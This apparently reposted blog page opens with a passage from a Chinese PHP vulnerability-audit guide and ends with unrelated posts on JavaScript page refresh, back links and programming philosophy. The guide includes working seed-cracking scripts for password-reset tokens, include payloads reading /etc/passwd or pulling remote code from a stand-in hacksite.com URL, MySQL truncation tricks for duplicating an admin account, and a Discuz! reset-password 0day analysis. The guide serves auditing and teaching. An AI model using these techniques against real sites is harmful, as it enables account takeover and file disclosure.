    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:具體不詳
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找session_destroy
    +++++++++++++++++++++++++


    5.5.4 隨機(jī)函數(shù)
       
    1) rand() VS mt_rand()

    --code-------------------------------------------------------------------------
    <?php
    //on windows
    print mt_getrandmax(); //2147483647
    print getrandmax();// 32767
    ?>
    -------------------------------------------------------------------------------

        可以看出rand()最大的隨機(jī)數(shù)是32767,這個(gè)很容易被我們暴力破解。

    --code-------------------------------------------------------------------------
    <?php
    $a= md5(rand());
    for($i=0;$i<=32767;$i++){
      if(md5($i) ==$a ) {
       print $i."-->ok!!<br>";exit;
       }else { print $i."<br>";}
    }
    ?>
    -------------------------------------------------------------------------------

        當(dāng)我們的程序使用rand處理session時(shí),攻擊者很容易暴力破解出你的session,但是對(duì)于
    mt_rand是很難單純的暴力的。

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找rand
    +++++++++++++++++++++++++


    2) mt_srand()/srand()-weak seeding(by Stefan Esser)
       
        看php手冊(cè)里的描述:

    -------------------------------------------------------------------------------
    mt_srand
    (PHP 3 >= 3.0.6, PHP 4, PHP 5)

    mt_srand -- 播下一個(gè)更好的隨機(jī)數(shù)發(fā)生器種子
    說(shuō)明
    void mt_srand ( int seed )


    用 seed 來(lái)給隨機(jī)數(shù)發(fā)生器播種。從 PHP 4.2.0 版開(kāi)始,seed 參數(shù)變?yōu)榭蛇x項(xiàng),當(dāng)該項(xiàng)為空
    時(shí),會(huì)被設(shè)為隨時(shí)數(shù)。

    例子 1. mt_srand() 范例

    <?php
    // seed with microseconds
    function make_seed()
    {
        list($usec, $sec) = explode(' ', microtime());
        return (float) $sec + ((float) $usec * 100000);
    }
    mt_srand(make_seed());
    $randval = mt_rand();
    ?> 

    注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函數(shù)給隨機(jī)數(shù)發(fā)生器播種,現(xiàn)已
    自動(dòng)完成。
    -------------------------------------------------------------------------------

        php從4.2.0開(kāi)始實(shí)現(xiàn)了自動(dòng)播種,但是為了兼容,后來(lái)使用類似于這樣的代碼播種:

    --code-------------------------------------------------------------------------
    mt_srand ((double) microtime() * 1000000)
    -------------------------------------------------------------------------------

        但是使用(double)microtime()*1000000類似的代碼seed是比較脆弱的:

    0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

        那么很容易暴力破解,測(cè)試代碼如下:

    --code-------------------------------------------------------------------------
    <?php
    /////////////////
    //>php rand.php
    //828682
    //828682
    ////////////////
    ini_set("max_execution_time",0);
    $time=(double) microtime()* 1000000;
    print $time."\n";
    mt_srand ($time);

    $search_id = mt_rand();
    $seed = search_seed($search_id);
    print $seed;
    function search_seed($rand_num) {
    $max = 1000000;
    for($seed=0;$seed<=$max;$seed++){
    mt_srand($seed);
    $key = mt_rand();
    if($key==$rand_num) return $seed;
    }
    return false;
    }
    ?>
    -------------------------------------------------------------------------------

        從上面的代碼實(shí)現(xiàn)了對(duì)seed的破解,另外根據(jù)Stefan Esser的分析seed還根據(jù)進(jìn)程變化
    而變化,換句話來(lái)說(shuō)同一個(gè)進(jìn)程里的seed是相同的。 然后同一個(gè)seed每次mt_rand的值都是
    特定的。如下圖:

    +--------------+
    |   seed-A     |
    +--------------+
    | mt_rand-A-1  |
    | mt_rand-A-2  |
    | mt_rand-A-3  |
    +--------------+

    +--------------+
    |   seed-B     |
    +--------------+
    | mt_rand-B-1  |
    | mt_rand-B-2  |
    | mt_rand-B-3  |
    +--------------+

        對(duì)于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是說(shuō)當(dāng)seed-A等于
    seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,這樣我們只要能夠得到seed就可以得到每次
    mt_rand的值了。

        對(duì)于5.2.6>php>4.2.0直接使用默認(rèn)播種的程序也是不安全的(很多的安全人員錯(cuò)誤的以
    為這樣就是安全的),這個(gè)要分兩種情況來(lái)分析:

    第一種:'Cross Application Attacks',這個(gè)思路在Stefan Esser文章里有提到,主要是利用
    其他程序定義的播種(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree組
    合就存在這樣的危險(xiǎn).

    第二種:5.2.6>php>4.2.0默認(rèn)播種的算法也不是很強(qiáng)悍,這是Stefan Esser的文章里的描述:

    -------------------------------------------------------------------------------
    The Implementation
    When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5
    <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only
    31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne
    Twister was changed and the forced bit removed.
    -------------------------------------------------------------------------------

        在32位系統(tǒng)上默認(rèn)的播種的種子為最大值是2^32,這樣我們循環(huán)最多2^32次就可以破解
    seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有個(gè)bug:奇數(shù)和偶數(shù)的播種是一樣的(詳見(jiàn)附錄
    [3]),測(cè)試代碼如下:

    --code-------------------------------------------------------------------------
    <?php
    mt_srand(4);
    $a = mt_rand();
    mt_srand(5);
    $b = mt_rand();
    print $a."\n".$b;
    ?>
    -------------------------------------------------------------------------------

        通過(guò)上面的代碼發(fā)現(xiàn)$a==$b,所以我們循環(huán)的次數(shù)為2^32/2=2^31次。我們看如下代碼:

    --code-------------------------------------------------------------------------
    <?php
    //base on http://www.milw0rm.com/exploits/6421
    //test on php 5.2.0

    define('BUGGY', 1); //上面代碼$a==$b時(shí)候定義BUGGY=1

    $key = wp_generate_password(20, false);
    echo $key."\n";
    $seed = getseed($key);
    print $seed."\n";

    mt_srand($seed);
    $pass = wp_generate_password(20, false);
    echo $pass."\n";

    function wp_generate_password($length = 12, $special_chars = true) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    if ( $special_chars )
    $chars .= '!@#$%^&*()';

    $password = '';
    for ( $i = 0; $i < $length; $i++ )
    $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    return $password;
    }

    function getseed($resetkey) {
    $max = pow(2,(32-BUGGY));
    for($x=0;$x<=$max;$x++) {
    $seed = BUGGY ? ($x << 1) + 1 : $x;
    mt_srand($seed);
    $testkey = wp_generate_password(20,false);
    if($testkey==$resetkey) { echo "o\n"; return $seed; }

    if(!($x % 10000)) echo $x / 10000;
    }
    echo "\n";
    return false;
    }
    ?>
    -------------------------------------------------------------------------------

        運(yùn)行結(jié)果如下:

    -------------------------------------------------------------------------------
    php5>php rand.php
    M8pzpjwCrvVt3oobAaOr
    0123456789101112131415161718192021222324252627282930313233343536373839404142434
    445464748495051525354555657585960616263646566676869
    7071727374757677787980818283848586878889909192939495969798991001011021031041051
    061071081091101111121131141151161171181191201211221
    2312412512612712812913013113213313413513613713813914014114214314414514614714814
    915015115215315415515615715815916016116216316416516
    6167168169170171172173174175176177178179180181182183184185186187188189190191192
    193194195196197198199200201202203204205206207208209
    2102112122132142152162172182192202212222232242252262272282292302312322332342352
    362372382392402412422432442452462472482492502512522
    ..............01062110622106231062410625106261062710628106291063010631106321063
    3o
    70693
    pjwCrvVt3oobAaOr
    -------------------------------------------------------------------------------

        當(dāng)10634次時(shí)候我們得到了結(jié)果。

        當(dāng)PHP版本到了5.2.1后,通過(guò)修改算法修補(bǔ)了奇數(shù)和偶數(shù)的播種相等的問(wèn)題,這樣也導(dǎo)致
    了php5.2.0前后導(dǎo)致同一個(gè)播種后的mt_rand()的值不一樣。比如:

    --code-------------------------------------------------------------------------
    <?php
    mt_srand(42);
    echo mt_rand();
    //php<=5.20 1387371436
    //php>5.20 1354439493
    ?>
    -------------------------------------------------------------------------------

        正是這個(gè)原因,也要求了我們的exp的運(yùn)行環(huán)境:當(dāng)目標(biāo)>5.20時(shí)候,我們exp運(yùn)行的環(huán)境也
    要是>5.20的版本,反過(guò)來(lái)也是一樣。

        從上面的測(cè)試及分析來(lái)看,php<5.26不管有沒(méi)有定義播種,mt_rand處理的數(shù)據(jù)都是不安
    全的。在web應(yīng)用里很多都使用mt_rand來(lái)處理隨機(jī)的session,比如密碼找回功能等等,這樣
    的后果就是被攻擊者惡意利用直接修改密碼。

        很多著名的程序都產(chǎn)生了類似的漏洞如wordpress、phpbb、punbb等等。(在后面我們將
    實(shí)際分析下國(guó)內(nèi)著名的bbs程序Discuz!的mt_srand導(dǎo)致的漏洞)

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:php4 php5<5.2.6
    系統(tǒng)要求:無(wú)
    審計(jì)策略:查找mt_srand/mt_rand
    +++++++++++++++++++++++++


    5.6 特殊字符

        其實(shí)“特殊字符”也沒(méi)有特定的標(biāo)準(zhǔn)定義,主要是在一些code hacking發(fā)揮著特殊重作用
    的一類字符。下面就舉幾個(gè)例子:
      
    5.6.1 截?cái)?/p>

        其中最有名的數(shù)大家都熟悉的null字符截?cái)唷?/p>

    5.6.1.1 include截?cái)?/p>

    --code-------------------------------------------------------------------------
    <?php
    include $_GET['action'].".php";
    ?>
    -------------------------------------------------------------------------------

        提交“action=/etc/passwd%00”中的“%00”將截?cái)嗪竺娴?#8220;.php”,但是除了“%00”還有沒(méi)有
    其他的字符可以實(shí)現(xiàn)截?cái)嗍褂媚兀靠隙ㄓ腥讼氲搅诉h(yuǎn)程包含的url里問(wèn)號(hào)“?”的作用,通過(guò)提交
    “action=http://www.hacksite.com/evil-code.txt?”這里“?”實(shí)現(xiàn)了“偽截?cái)?#8221;:),好象這個(gè)
    看上去不是那么舒服那么我們簡(jiǎn)單寫(xiě)個(gè)代碼fuzz一下:

    --code-------------------------------------------------------------------------
    <?php
    ////////////////////
    ////var5.php代碼:
    ////include $_GET['action'].".php";
    ////print strlen(realpath("./"))+strlen($_GET['action']); 
    ///////////////////
    ini_set('max_execution_time', 0);
    $str='';
    for($i=0;$i<50000;$i++)
    {
    $str=$str."/";

    $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
    //1.txt里的代碼為print 'hi';
    if (strpos($resp, 'hi') !== false){
    print $i;
    exit;
    }
    }
    ?>
    -------------------------------------------------------------------------------

        經(jīng)過(guò)測(cè)試字符“.”、“ /”或者2個(gè)字符的組合,在一定的長(zhǎng)度時(shí)將被截?cái)啵瑆in系統(tǒng)和*nix
    的系統(tǒng)長(zhǎng)度不一樣,當(dāng)win下strlen(realpath("./"))+strlen($_GET['action'])的長(zhǎng)度大于
    256時(shí)被截?cái)啵瑢?duì)于*nix的長(zhǎng)度是4 * 1024 = 4096。對(duì)于php.ini里設(shè)置遠(yuǎn)程文件關(guān)閉的時(shí)候
    就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先發(fā)現(xiàn)])


    5.6.1.2 數(shù)據(jù)截?cái)?br />    
        對(duì)于很多web應(yīng)用文件在很多功能是不容許重復(fù)數(shù)據(jù)的,比如用戶注冊(cè)功能等。一般的應(yīng)
    用程序?qū)τ谔峤蛔?cè)的username和數(shù)據(jù)庫(kù)里已有的username對(duì)比是不是已經(jīng)有重復(fù)數(shù)據(jù),然
    而我們可以通過(guò)“數(shù)據(jù)截?cái)?#8221;等來(lái)饒過(guò)這些判斷,數(shù)據(jù)庫(kù)在處理時(shí)候產(chǎn)生截?cái)鄬?dǎo)致插入重復(fù)數(shù)
    據(jù)。
       
    1) Mysql SQL Column Truncation Vulnerabilities
      
        這個(gè)漏洞又是大牛Stefan Esser發(fā)現(xiàn)的(Stefan Esser是我的偶像:)),這個(gè)是由于mysql
    的sql_mode設(shè)置為default的時(shí)候,即沒(méi)有開(kāi)啟STRICT_ALL_TABLES選項(xiàng)時(shí),MySQL對(duì)于插入超
    長(zhǎng)的值只會(huì)提示warning,而不是error(如果是error就插入不成功),這樣可能會(huì)導(dǎo)致一些截
    斷問(wèn)題。測(cè)試如下:
       
    --code-------------------------------------------------------------------------
    mysql> insert into truncated_test(`username`,`password`) values("admin","pass");

    mysql> insert into truncated_test(`username`,`password`) values("admin           x", "new_pass");
    Query OK, 1 row affected, 1 warning (0.01 sec)

    mysql> select * from truncated_test;
    +----+------------+----------+
    | id | username   | password |
    +----+------------+----------+
    | 1 | admin      | pass     |
    | 2 | admin      | new_pass |
    +----+------------+----------+
    2 rows in set (0.00 sec)
    -------------------------------------------------------------------------------

    2) Mysql charset Truncation vulnerability
       
        這個(gè)漏洞是80sec發(fā)現(xiàn)的,當(dāng)mysql進(jìn)行數(shù)據(jù)存儲(chǔ)處理utf8等數(shù)據(jù)時(shí)對(duì)某些字符導(dǎo)致數(shù)據(jù)
    截?cái)唷y(cè)試如下:
       
    --code-------------------------------------------------------------------------
    mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
    Query OK, 1 row affected, 1 warning (0.00 sec)

    mysql> select * from truncated_test;
    +----+------------+----------+
    | id | username   | password |
    +----+------------+----------+
    | 1 | admin      | pass      |
    | 2 | admin      | new_pass  |
    | 3 | admin      | new_pass2 |
    +----+------------+----------+
    2 rows in set (0.00 sec)
    -------------------------------------------------------------------------------
       
        很多的web應(yīng)用程序沒(méi)有考慮到這些問(wèn)題,只是在數(shù)據(jù)存儲(chǔ)前簡(jiǎn)單查詢數(shù)據(jù)是否包含相同
    數(shù)據(jù),如下代碼:

    --code-------------------------------------------------------------------------
    $result = mysql_query("SELECT * from test_user where user='$user' ");
      ....
    if(@mysql_fetch_array($result, MYSQL_NUM)) {
    die("already exist");
    }
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:通讀代碼
    +++++++++++++++++++++++++


    5.6.1.3 文件操作里的特殊字符
       
        文件操作里有很多特殊的字符,發(fā)揮特別的作用,很多web應(yīng)用程序沒(méi)有注意處理這些字
    符而導(dǎo)致安全問(wèn)題。比如很多人都知道的windows系統(tǒng)文件名對(duì)“空格”和“.”等的忽視,這個(gè)
    主要體現(xiàn)在上傳文件或者寫(xiě)文件上,導(dǎo)致直接寫(xiě)webshell。另外對(duì)于windows系統(tǒng)對(duì)“.\..\”
    進(jìn)行系統(tǒng)轉(zhuǎn)跳等等。
       
        下面還給大家介紹一個(gè)非常有意思的問(wèn)題:

    --code-------------------------------------------------------------------------
    //Is this code vul?
    if( eregi(".php",$url) ){
    die("ERR");
    }
    $fileurl=str_replace($webdb[www_url],"",$url);
    .....
    header('Content-Disposition: attachment; filename='.$filename);
    -------------------------------------------------------------------------------
       
        很多人看出來(lái)了上面的代碼的問(wèn)題,程序首先禁止使用“.php”后綴。但是下面居然接了
    個(gè)str_replace替換$webdb[www_url]為空,那么我們提交“.p$webdb[www_url]hp”就可以饒過(guò)
    了。那么上面的代碼雜fix呢?有人給出了如下代碼:

    --code-------------------------------------------------------------------------
    $fileurl=str_replace($webdb[www_url],"",$url);
    if( eregi(".php",$url) ){
    die("ERR");
    }
    -------------------------------------------------------------------------------

        str_replace提到前面了,很完美的解決了str_replace代碼的安全問(wèn)題,但是問(wèn)題不是那
    么簡(jiǎn)單,上面的代碼在某些系統(tǒng)上一樣可以突破。接下來(lái)我們先看看下面的代碼:

    --code-------------------------------------------------------------------------
    <?php
    for($i=0;$i<255;$i++) {
    $url = '1.ph'.chr($i);
    $tmp = @file_get_contents($url);
    if(!empty($tmp)) echo chr($i)."\r\n";

    ?>
    -------------------------------------------------------------------------------

        我們?cè)趙indows系統(tǒng)運(yùn)行上面的代碼得到如下字符* < > ? P p都可以打開(kāi)目錄下的1.php。

    +++++++++++++++++++++++++
    漏洞審計(jì)策略
    -------------------------
    PHP版本要求:無(wú)
    系統(tǒng)要求:無(wú)
    審計(jì)策略:文讀取件操作函數(shù)
    +++++++++++++++++++++++++


    六、怎么進(jìn)一步尋找新的字典

        上面我們列舉很多的字典,但是很多都是已經(jīng)公開(kāi)過(guò)的漏洞或者方式,那么我們?cè)趺催M(jìn)一
    步找到新的字典或者利用方式呢?

        * 分析和學(xué)習(xí)別人發(fā)現(xiàn)的漏洞或者exp,總結(jié)出漏洞類型及字典。
       
        * 通過(guò)學(xué)習(xí)php手冊(cè)或者官方文檔,挖掘出新的有危害的函數(shù)或者利用方式。
       
        * fuzz php的函數(shù),找到新的有問(wèn)題的函數(shù)(不一定非要溢出的),如上一章的4.6的部分
    很多都可以簡(jiǎn)單的fuzz腳本可以測(cè)試出來(lái)。
       
        * 分析php源代碼,發(fā)現(xiàn)新的漏洞函數(shù)“特性”或者漏洞。(在上一節(jié)里介紹的那些“漏洞審
    計(jì)策略”里,都沒(méi)有php源代碼的分析,如果你要進(jìn)一步找到新的字典,可以在php源代碼的基礎(chǔ)
    上分析下成因,然后根據(jù)這個(gè)成因來(lái)分析尋找新的漏洞函數(shù)“特性”或者漏洞。)(我們以后會(huì)
    陸續(xù)公布一些我們對(duì)php源代碼的分析)
       
        * 有條件或者機(jī)會(huì)和開(kāi)發(fā)者學(xué)習(xí),找到他們實(shí)現(xiàn)某些常用功能的代碼的缺陷或者容易忽
    視的問(wèn)題
       
        * 你有什么要補(bǔ)充的嗎? :)
     

    七、DEMO

        * DEMO -- Discuz! Reset User Password 0day Vulnerability 分析
        (Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt)

        PHP版本要求:php4 php5<5.2.6
        系統(tǒng)要求: 無(wú)
        審計(jì)策略:查找mt_srand/mt_rand

        第一步 安裝Discuz! 6.1后利用grep查找mt_srand得到:

    -------------------------------------------------------------------------------
    heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
    ./include/global.func.php-694-  $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);
    ./include/global.func.php-695-  return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';
    ./include/global.func.php-696-}
    ./include/global.func.php-697-
    ./include/global.func.php-698-function random($length, $numeric = 0) {
    ./include/global.func.php:699:  PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
    ./include/global.func.php-700-  if($numeric) {
    ./include/global.func.php-701-          $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
    ./include/global.func.php-702-  } else {
    ./include/global.func.php-703-          $hash = '';
    ./include/global.func.php-704-          $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    --
    ./include/discuzcode.func.php-30-
    ./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
    ./include/discuzcode.func.php-32-       @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
    ./include/discuzcode.func.php-33-}
    ./include/discuzcode.func.php-34-
    ./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
    ./include/discuzcode.func.php-36-
    ./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
    ./include/discuzcode.func.php-38-       global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
    ./include/discuzcode.func.php-39-       $attach = $postlist[$pid]['attachments'][$aid];
    ./include/discuzcode.func.php-40-       if($attach['attachimg']) {
    -------------------------------------------------------------------------------

        有兩個(gè)文件用到了mt_srand(),第1是在./include/global.func.php的隨機(jī)函數(shù)random()里:

    --code-------------------------------------------------------------------------
    PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
    -------------------------------------------------------------------------------

        判斷了版本,如果是PHP_VERSION > '4.2.0'使用php本身默認(rèn)的播種。從上一章里的分
    析我們可以看得出來(lái),使用php本身默認(rèn)的播種的分程序兩種情況:

    1) 'Cross Application Attacks' 這個(gè)思路是只要目標(biāo)上有使用使用的程序里定義了類似
    mt_srand((double)microtime() * 1000000)的播種的話,又很有可能被暴力。在dz這里不需
    要Cross Application,因?yàn)樗旧碛形募投x了,就是上面的第2個(gè)文件:

    --code-------------------------------------------------------------------------
    ./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
    -------------------------------------------------------------------------------

        這里我們肯定dz是存在這個(gè)漏洞的,文章給出來(lái)的exp也就是基于這個(gè)的。(具體exp利用
    的流程有興趣的可以自己分析下])

    2) 有的人認(rèn)為如果沒(méi)有mt_srand((double)microtime() * 1000000);這里的定義,那么dz就
    不存在漏洞,這個(gè)是不正確的。首先你不可以保證別人使用的其他應(yīng)用程序沒(méi)有定義,再次不
    利用'Cross Application Attacks',5.2.6>php>4.2.0 php本身默認(rèn)播種的算法也不是很強(qiáng)
    悍(分析詳見(jiàn)上),也是有可以暴力出來(lái),只是速度要慢一點(diǎn)。


    八、后話

        本文是80vul的三大馬甲:80vul-A,80vul-B,80vul-C集體智慧的結(jié)晶,尤其是80vul-B貢
    獻(xiàn)了不少新發(fā)現(xiàn)。另外需要感謝的是文章里提到的那些漏洞的發(fā)現(xiàn)者,沒(méi)有他們的成果也就
    沒(méi)有本文。本文沒(méi)有寫(xiě)“參考”,因?yàn)楸疚氖且粋€(gè)總結(jié)性的文擋,有太多的連接需要提供限于篇
    幅就沒(méi)有一一列舉,有心的讀者可以自行g(shù)oogle。另外原本沒(méi)有打算公布此文,因?yàn)槔锩姘?br /> 了太多應(yīng)用程序的0day,而且有太多的不尊重別人成果的人,老是利用從別人那學(xué)到的技術(shù)來(lái)
    炫耀,甚至牟取利益。在這里我們希望你可以在本文里學(xué)到些東西,更加希望如果通過(guò)本文你
    找到了某些應(yīng)用程序的0day,請(qǐng)低調(diào)處理,或者直接提交給官方修補(bǔ),謝謝大家!!


    九、附錄

    [1] http://bbs.phpchina.com/attachment.php?aid=22294
    [2] http://www.php-security.org/
    [3] http://bugs.php.net/bug.php?id=40114

    posted @ 2010-06-28 18:14 肖馬輝 閱讀(388) | 評(píng)論 (0)編輯 收藏
     
    一、先來(lái)看一個(gè)簡(jiǎn)單的例子:
            下面以三個(gè)頁(yè)面分別命名為frame.htmltop.htmlbottom.html為例來(lái)具體說(shuō)明如何做。 
            
            frame.html 由上(top.html)下(bottom.html)兩個(gè)頁(yè)面組成,代碼如下:
     1<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
     2<HTML> 
     3<HEAD> 
     4<TITLE> frame </TITLE> 
     5</HEAD> 
     6<frameset rows="50%,50%"> 
     7   <frame name=top src="top.html"> 
     8   <frame name=bottom src="bottom.html"> 
     9</frameset> 
    10</HTML> 
         
            現(xiàn)在假設(shè)top.html (即上面的頁(yè)面) 有七個(gè)button來(lái)實(shí)現(xiàn)對(duì)bottom.html (即下面的頁(yè)面) 的刷新,可以用以下七種語(yǔ)句,哪個(gè)好用自己看著辦了。      
     1top.html 頁(yè)面的代碼如下: 
     2
     3<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
     4<HTML> 
     5<HEAD> 
     6<TITLE> top.html </TITLE> 
     7</HEAD> 
     8<BODY> 
     9  <input type=button value="刷新1" onclick="window.parent.frames[1].location.reload()"><br> 
    10  <input type=button value="刷新2" onclick="window.parent.frames.bottom.location.reload()"><br> 
    11  <input type=button value="刷新3" onclick="window.parent.frames['bottom'].location.reload()"><br>  
    12  <input type=button value="刷新4" onclick="window.parent.frames.item(1).location.reload()"><br> 
    13  <input type=button value="刷新5" onclick="window.parent.frames.item('bottom').location.reload()"><br> 
    14  <input type=button value="刷新6" onclick="window.parent.bottom.location.reload()"><br> 
    15  <input type=button value="刷新7" onclick="window.parent['bottom'].location.reload()"><br> 
    16</BODY> 
    17</HTML> 
    18
              
               下面是bottom.html頁(yè)面源代碼,為了證明下方頁(yè)面的確被刷新了,在裝載完頁(yè)面彈出一個(gè)對(duì)話框。  
     1
     2<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
     3<HTML> 
     4<HEAD> 
     5<TITLE> bottom.html </TITLE> 
     6</HEAD> 
     7<BODY onload="alert('我被加載了!')"> 
     8   <h1>This is the content in bottom.html.</h1> 
     9</BODY> 
    10</HTML> 

                  解釋一下:
    1.window指代的是當(dāng)前頁(yè)面,例如對(duì)于此例它指的是top.html頁(yè)面。 
    2.parent指的是當(dāng)前頁(yè)面的父頁(yè)面,也就是包含它的框架頁(yè)面。例如對(duì)于此例它指的是framedemo.html。 
    3.frames是window對(duì)象,是一個(gè)數(shù)組。代表著該框架內(nèi)所有子頁(yè)面。 
    4.item是方法。返回?cái)?shù)組里面的元素。 
    5.如果子頁(yè)面也是個(gè)框架頁(yè)面,里面還是其它的子頁(yè)面,那么上面的有些方法可能不行。 

    附: 

    Javascript刷新頁(yè)面的幾種方法: 
    1 history.go(0) 
    2 location.reload() 
    3 location=location 
    4 location.assign(location) 
    5 document.execCommand('Refresh') 
    6 window.navigate(location) 
    7 location.replace(location) 
    8 document.URL=location.href 

    二、自動(dòng)刷新頁(yè)面
            1.頁(yè)面自動(dòng)刷新:把如下代碼加入<head>區(qū)域中       
    <meta http-equiv="refresh" content="20"> 
    其中20指每隔20秒刷新一次頁(yè)面. 
           2.頁(yè)面自動(dòng)跳轉(zhuǎn):把如下代碼加入<head>區(qū)域中
    <meta http-equiv="refresh" content="20;url=http://xcp.blogjava.net"> 
    其中20指隔20秒后跳轉(zhuǎn)到http://xcp.blogjava.net頁(yè)面 
          3.頁(yè)面自動(dòng)刷新js版
    <script language="JavaScript"> 
        
    function myrefresh() 
        

               window.location.reload(); 
        }
     
        setTimeout('myrefresh()',
    1000); //指定1秒刷新一次 
    </script> 


    三、java在寫(xiě)Servler,Action等程序時(shí),要操作返回頁(yè)面的話(如談出了窗口,操作完成以后,關(guān)閉當(dāng)前頁(yè)面,刷新父頁(yè)面)
    1        PrintWriter out = response.getWriter();
    2        out.write("<script  type=\"text/javascript\">");
    3         ////子窗口刷新父窗口 
    4         out.write("self.opener.location.reload();"); 
    5         //關(guān)閉窗口
    6         out.write("window.opener=null;");
    7         out.write("window.close();");
    8         out.write("</script>");

    四、JS刷新框架的腳本語(yǔ)句
            1.如何刷新包含該框架的頁(yè)面用
    <script language=JavaScript> 
      parent.location.reload(); 
    </script> 
          
           2.子窗口刷新父窗口
    <script language=JavaScript> 
        self.opener.location.reload(); 
    </script> 
         
           3.如何刷新另一個(gè)框架的頁(yè)面用 (上面的實(shí)例以說(shuō)明了)
    語(yǔ)句1. window.parent.frames[1].location.reload(); 
    語(yǔ)句2. window.parent.frames.bottom.location.reload(); 
    語(yǔ)句3. window.parent.frames[
    "bottom"].location.reload(); 
    語(yǔ)句4. window.parent.frames.item(
    1).location.reload(); 
    語(yǔ)句5. window.parent.frames.item('bottom').location.reload(); 
    語(yǔ)句6. window.parent.bottom.location.reload(); 
    語(yǔ)句7. window.parent['bottom'].location.reload(); 
        
           4.如果想關(guān)閉窗口時(shí)刷新或者想開(kāi)窗時(shí)刷新的話,在<body>中調(diào)用以下語(yǔ)句即可。 
    <body onload="opener.location.reload()"> 開(kāi)窗時(shí)刷新 
    <body onUnload="opener.location.reload()"> 關(guān)閉時(shí)刷新 
    <script language="javascript"> 
        window.opener.document.location.reload() 
    </script> 
    posted @ 2010-06-04 10:38 肖馬輝 閱讀(220) | 評(píng)論 (0)編輯 收藏
     
    鏈接返回上一頁(yè):
    <a href="javascript :history.back(-1)">返回上一頁(yè)</a>

    <a href="javascript :;" onClick="javascript :history.back(-1);">返回上一頁(yè)</a>

    按鈕返回上一頁(yè):
    <input type="button" name="Submit" onclick="javascript:history.back(-1);" value="返回上一頁(yè)">

    圖片返回上一頁(yè):
    <img src="圖片路徑" border="0" onclick="javascript:history.back(-1);" title="返回上一頁(yè)">
    posted @ 2010-05-30 17:18 肖馬輝 閱讀(1254) | 評(píng)論 (0)編輯 收藏
     
    參禪之初:看山是山 看水是水
    初學(xué)程序開(kāi)發(fā)時(shí)認(rèn)為:C 是 C、VB 是 VB 都是要一個(gè)一個(gè)學(xué)的。

    禪有悟時(shí):看山不是山 看水不是水
    等到漸漸地把開(kāi)發(fā)語(yǔ)言運(yùn)用純熟了,可以觸類旁通,發(fā)現(xiàn)以前學(xué)過(guò)的那些語(yǔ)言和將要新學(xué)的,總有這樣那樣的相通、相近、相似之處。任何一門語(yǔ)言,都能快速上手。在意識(shí)里語(yǔ)言已沒(méi)有差別,無(wú)非是語(yǔ)法與關(guān)鍵字的區(qū)別而已,語(yǔ)言已經(jīng)不重要了。

    禪中徹悟:看山仍然是山 看水仍然是水
    過(guò)了很長(zhǎng)時(shí)間才發(fā)現(xiàn),那時(shí)自己遠(yuǎn)沒(méi)有到達(dá)最高境界,才醒悟到以前所謂的掌握多種語(yǔ)言,其實(shí)還是只掌握了一門語(yǔ)言,就像《天龍八部》里的鳩摩智,以小無(wú)相神功,耍那少林七十二絕技,其實(shí)卻都不過(guò)是一套本事罷了。而且更為重要的是更加意識(shí)到要真正用好一門語(yǔ)言,發(fā)揮一門語(yǔ)言的長(zhǎng)處,理解這門語(yǔ)言的思想內(nèi)涵,實(shí)現(xiàn)細(xì)節(jié)是非常關(guān)鍵的。而實(shí)現(xiàn)細(xì)節(jié)是各個(gè)語(yǔ)言自身的特色,到頭來(lái)還是把不同的語(yǔ)言,當(dāng)成不同的語(yǔ)言來(lái)使用。
    posted @ 2009-12-29 10:51 肖馬輝 閱讀(216) | 評(píng)論 (0)編輯 收藏
     
    袋鼠與籠子
          有一天動(dòng)物園管理員們發(fā)現(xiàn)袋鼠從籠子里跑出來(lái)了,于是開(kāi)會(huì)討論,一致認(rèn)為是籠子的高度過(guò)低。所以它們決定將籠子的高度由原來(lái)的十公尺加高到二十公尺。結(jié)果第二天他們發(fā)現(xiàn)袋鼠還是跑到外面來(lái),所以他們又決定再將高度加高到三十公尺。
